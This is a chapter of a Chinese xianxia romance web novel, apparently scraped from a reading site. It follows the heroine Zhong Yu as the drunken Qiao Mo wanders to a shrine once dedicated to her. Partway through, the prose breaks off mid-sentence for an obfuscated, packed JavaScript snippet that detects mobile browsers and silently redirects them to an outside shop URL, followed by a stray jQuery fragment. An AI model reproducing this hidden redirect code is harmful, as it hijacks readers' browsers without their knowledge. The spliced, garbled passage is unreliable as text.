她急忙夺过杯子放在鼻下,用灵力探其毒性。
没有问题啊?
再细看那杯墨红色的水,上面还零星飘着几枚枸杞和枣片儿。
钟郁认得这东西,师尊昀拂飞升前便最爱喝它,说这饮品既温和又养生,学名叫八宝大枣茶。
“……..”钟郁望着对面趴伏在桌仿若歇菜的少年,心中生出个好笑的猜测。
她记忆中有这么一段。大概乔陌十三四岁时,京都的几个公子哥曾半逼半劝地推着他去酒楼。
几人对着满满一桌酒盏,用意十分简单,就是要喝倒邪物,看他丢丑取乐。
几个时辰过去,桌上的酒少了一大半。
他们的捉弄对象乔陌清醒地坐在桌前,冷眼望着这群废物七歪八倒地瘫了一地。
那个时候大家便知道,乔家的邪物低贱孱弱,却千杯不倒。
钟郁若有所思地望着杯中漂浮的茶汤和枣片儿,遗憾他们看不见煞星现状。
乔陌确实不醉酒,他醉得是八宝大枣茶。
钟郁忍住笑,竟难得找到了丝两人的相通之处。
煞星醉茶,让她想起自己对桃花瓣过敏的神奇体质。
当初她无论在九重天何处,只要有桃花瓣沾身,必痛哭流泪。搞得灵妍公然嘲她笑神格不稳,她却反驳不了什么,只能望着莫名飘落手心的花瓣,一边流泪一边纳闷。
再坚强的人也总有弱点,甚至还会弱得奇形怪状令人意想不到、忍俊不禁。
趁他倒下,钟郁转身向窗外,摸亮了耳垂上的通灵珠。
珠子那头的声音还没响起,眼前却出现了一片亮白光幕,藏渊那张兴奋无比的脸倏然放大在了面前的光幕上:
“师妹你看,这是我新研究的通灵汇影功能,日后便能时时知道对方处境了,你看画面清晰不!”
“……”.钟郁望着对方眼下浓厚的乌青,果断竖起大拇指:“清晰极了师兄,能再加个美颜功能就更好了。我想请问师兄,可能探出芜城一带是否有妖物踪迹?”
妖物?藏渊讷讷用灵石探了一圈后摇摇头:“探过了师妹,这一带并无妖物痕迹。”
没有妖物,那便是人为了。
钟郁蹙眉,一个凡人,竟能叫芜城上下弥漫邪气,实在不能小觑。
“不过师妹——”
藏渊声音一顿,视线忽地越过钟郁身后:“你背后是什么?”
钟郁呼吸微滞,通灵珠兀得熄灭,她急急转身,唇角堪堪擦过一片冷白皮肤,冰凉干燥。
她下意识捂住双唇,抬头,正对上一双浅墨色的眼。
“……乔陌,你醒了?”
他没有应,冷色眼眸直直望着自己,薄唇抿成一线,面色冷若冰霜。
乔陌醒了,不知是在什么时候。并在她没有察觉时,悄无声息站在了她的身后。
他个子生得高,虽然颀瘦,可站在钟郁对面却几乎将她整个人笼罩住,自带一股威压。钟郁摸着唇角方才擦过他脖颈皮肤的地方,心跳得渐快。
她被乔陌几乎圈在这个窗台,有些心虚。
不知他方才是否听见了自己和藏渊对话,听见了多少。若真听见了,还得想办法用催眠术抹去他这段记忆才行。
她试探地咳嗽一声:“咳,那个乔公子,你方才…….”
她卡住了,因为她惊悚地看见,乔陌正在缓缓向自己抬起手——
霎那间脑中思绪急转,他果然是知道真相了要掐死自己吗!下意识捏了个杀诀,后悔自己一时愚蠢,煞星千杯酒下肚也清醒,就算他醉八宝大枣茶又怎会真的一杯倒呢?
她在等乔陌的手落下来,浮屠蠢蠢欲动就要破袖而出。可没想到,那只骨节分明的手径直略过自己脆弱的脖颈,轻轻覆在她的唇上。
钟郁嘴被捂住,惊讶抬头,却见他另只手放在自己唇角,轻声比了个“嘘”。
“别说话。”他冷冷地道。
“…….”钟郁朝他身后那杯半洒的大枣茶望了眼,心中产生几分不确定的怀疑,难不成他…..真的是醉了?
乔陌保持这样的动作,浅墨色眼瞳便直勾勾望着自己,说不清是冷刻多一些,还是不悦多一些。甚至还凑近了几分,就像是她脸上有花似的,非要看出什么不可。
钟郁被他直勾勾的眼神盯得啼笑皆非,覆在他手下的唇轻轻动了动,提醒道:“你醉了,乔陌。”
她说话时气息轻吐,软唇翕动像是蝴蝶振翅那般擦过乔陌掌心。
少年原本沉冷面孔忽地空白一瞬,触电一般,飞速地抽回了手,藏在身后。
“…….”看来是真醉了,还醉得不轻。
钟郁几乎被他的反应逗笑。她见过同门醉酒时的放荡模样,原本以为,煞星喝醉会是原形毕现大杀四方的….眼前情形,实是不曾料到。
煞星不仅醉茶,还是个一杯倒。
“乔陌。”她忍住笑叫他一声。见他抬头,钟郁伸出两个手指比在他面前晃了晃,“这是几?”
不知是不是这个过于幼稚的问题“激怒”了醉着的乔陌,少年原本有些茫然的面孔重归于冷,两步走近前。
钟郁感觉到下巴一痛,被迫抬头对上他的眼。
危险气息随着他贴近的面孔渐渐压来。钟郁瞬间又紧张起来,不是吧不是吧,这是反悔了?突然又想杀她了?!
他没有说话,房内静能闻针落。
钟郁紧张地和他对视,伺机而动。
不知过了多久,那少年冷淡目光终于从她的眼睛下移,顺着腻白皮肤,落到了自己柔软的唇上。
他望了良久,不知在想什么。久到钟郁都怀疑他是嘴里含了毒药要跟自己同归于尽时,少年忽然盯着她唇角,自嘲似的冷笑一声,放开了掐她下颌的那只手,转身而去。
那股威压随着乔陌的离开终于消失。她揉着被刚掐红的下巴,轻轻喘气。若是方才换作是原主,早就吓得哇哇哭了。
“……喂!你干嘛去啊!”
她骤然一个激灵反应过来,乔陌的黑色衣角已经消失在门边。
那煞星怎么自己出门了!他可还醉着呢喂!
-
乔陌一路冷着脸,几乎是横冲直撞。他个子高腿长,走得也快,有被撞到的行人刚想大骂,抬头看他一眼便被少年阴鸷气质慑得悻悻闭嘴。偌大一条热闹街道竟被他出入得像无人之境。
“你慢点啊——”钟郁一路小跑,紧随其后,嘴上替他念叨着对不住对不住,心中把这煞星骂了个千万遍。
到了城北山下,他终于停住脚步。钟郁用手撑着腿,累得直喘气,一抬头却惊讶极了。
乔陌居然走到了青鸾殿?
殿内时不时进出许多芜城本地祈福的香客,看来里面供奉的青鸾道长的确有些神通,瞧这些旺盛的香火便知道了。实话实说,人家比自己这个落魄神仙混得好多了。
一群鸟雀擦着屋檐飞进屋,钟郁倏然睁开眼。缭绕香火也盖不住的,是空气中弥漫的阵阵邪气。
庙宇神殿这样的地方的确易引生灵居住,可青鸾殿里的鸟雀,似乎多得有些异常了。
乔陌面无表情地望着神坛方向,站得笔直,看着貌似比来往香客还虔诚些。
钟郁却瞧着莫名好笑。
她想起,原主之前和乔陌一起在学堂听书,有一位先生讲得是佛道神学,夹杂许多趣味横生的志怪小说,连平常惯爱翘课撒野的纨绔也听得目不转睛。
唯有坐在最角落的小煞星,冷冷支着下颏,神情孤僻冷漠。
讲到神佛救世的故事精彩之处,所有人都忍不住站起来鼓掌,没人看见少年讽刺地扯了下皲裂嘴角,表情仿佛在说,少在这里放屁。
这么多年的困苦时刻提醒他,无人可信,无人可依,绝不寄希望于飘渺偶像,只信自己。
向神仙祈福这件事,于他而言就是荒谬无稽的笑话。
瞧他站着一本正经的模样,钟郁幸灾乐祸地想,要是这煞星醒来后知道,自己醉时径直走到神殿这种地方,非得羞愤欲死。
她隐约察觉这青鸾殿颇有古怪,准备去将乔陌叫醒。走上前,刚要碰到少年肩膀,指腹下却倏然一空——
她近乎惊悚地看到,那个未来可能会颠覆人间的煞星乔陌,走到殿正中,神态虔诚,双手合十,对着供奉的神坛,直直跪了下去……
四周还有进出的香客,少年一袭黑衣,虔诚又庄严地,直跪在神殿正中。
殿中的那声钟磬一响,他闭上眼,在一片香雾缭绕中,像个真正的信徒那样,垂伏下苍冷面孔。
煞星向神灵祈福,就好像是强
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562059|142754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盗朝平民乞讨,老虎跟兔子哀求。
可、可这是怎么回事?
钟郁几乎被惊得后退半步,难道这青鸾道长当真如此神通广大,连乔陌这样的煞星都能收编信众?他究竟是哪位神仙?在极度震惊中,钟郁摸亮了通灵珠。
那边哗哗的翻书声停下,藏渊沉默了阵,低声道:“师妹,我查过万仙谱了,可以确定,四海八荒都不存在哪个神仙法号叫作青鸾道长。”
“这个殿里的所谓青鸾道长,大概是有人莫须有凭空杜撰的。”
凭空杜撰?果然有古怪,钟郁下意识望向那神坛,本该供奉着“青鸾道长”神像的地方竟然空无一物。
莫须有的道长,不存在的神像,成群结对的飞鸟,满身血洞的尸体…..钟郁心电急转,一片浓厚的邪气笼罩下,由不得将这些古怪联系在一起。
四周香客进进出出,少年双手合十,跪在那里,像一支玄色的修竹,衬托成一幅画,诡谲,艳丽。
偶有结伴来祈福的小姐妹,经过这唇红齿白的少年身旁不由放慢了脚步,红着面孔窃窃私语。
可一转头又瞧见了他身后的钟郁,瞬间明白过来什么似的,懊恼窘迫地移开目光,又望着虔诚少年不由啧啧兴叹…..真好啊,很少见这样痴心的俏郎君随娘子一起来求姻缘的。
钟郁没注意到这些低语,注视着他的背影,还是想不通。
怪力乱神的传说或许能虚构出神明骗过芜城香客,可绝不会骗过初来乍到的乔陌。
“……其实,他拜得也不是青鸾道长。”通灵珠那头疯狂的翻书声停了,藏渊咳嗽了下,语气却犹豫。
“师妹,我查过了,百年前这里也是座香火旺盛的神殿,只不过…..供奉的神仙另有其人。”
钟郁神色微凝,狐疑道:“是谁?”
哪个神仙的神力竟可跨越百年,冥冥中引得煞星都为之折服?
藏渊沉吟一阵,还是说道:“这里曾是一座赤华殿,供奉的便是赤华仙君。”
“那个空无一物的神坛上,曾经摆放的是赤华仙君执浮屠刀的金身。”
他顿了下:
“师妹,那个煞星,好像拜得是你…..”
…..赤华殿,钟郁念起这个名字竟觉陌生。
这三个字已经太久没有被人提起,像是一层尘雾笼罩,叫她看不着切。
一阵风起,她恍惚看见,如今空空如也的神坛之上,百年前赫然是自己的“赤华女君执刀天像”,浮屠在手,金光闪闪。
“咳咳,师妹,你还在听吗?”藏渊忍不住担心她的状态,因为对面沉默太久了。
“没事,我知道了,谢谢师兄。”钟郁熄灭通灵珠,若有所思地收回视线。
她想起古籍上说过,人在醺醉时的状态,类似于梦游。
而梦游者最常见的,便是故地重游。哪怕是她强大如斯的师尊昀拂,都会因为思念姐姐,患上梦游之症。有时本能地会在梦中跳下凡间,回到飞升前姐妹俩长大的地方。
她望着少年于香雾中勾勒出的侧影,果断打翻了冒出来的荒谬猜想。
一个煞星会信敬自己?这当然不可能,甚至听着就好笑。
今生不会,前世更不会。她知道,凡人轮回转世前,都会在断忘桥将前世记忆洗清忘尽。若来世还想保留哪怕梦中的一丁点记忆,都要付出比剜心断舌还要惨痛百倍的代价。
他会在冥冥中来赤华旧殿参拜,大概是因为腰上自己亲手绘制的平安符指引。符纸有灵牵引他来到神主旧殿,这也就说得通了。
钟郁松了口气,事不宜迟,准备去叫醒乔陌,却赫然发现,少年竟不知什么时候已经直起了身子,黑黢黢的眸子直望着自己。
他在缭绕的烟雾中向自己望来,用一种她看不大懂的神情和目光——
薄唇胭红、并泪流满面。
和她对望一眼,乔陌软身倒下。
“…….”煞星….哭了?!!
不知为何,她几乎被瞧得头皮发麻,正要去扶,却募得伸出一双枯瘦的手,将乔陌的身体接住。
一个中年长者从背后扶住了他,面色苍白,眉目和善。
他笑望着钟郁,一张口,声色却尖锐异常,简直像是鸟叫:
“钟小姐受累,老朽来晚了。”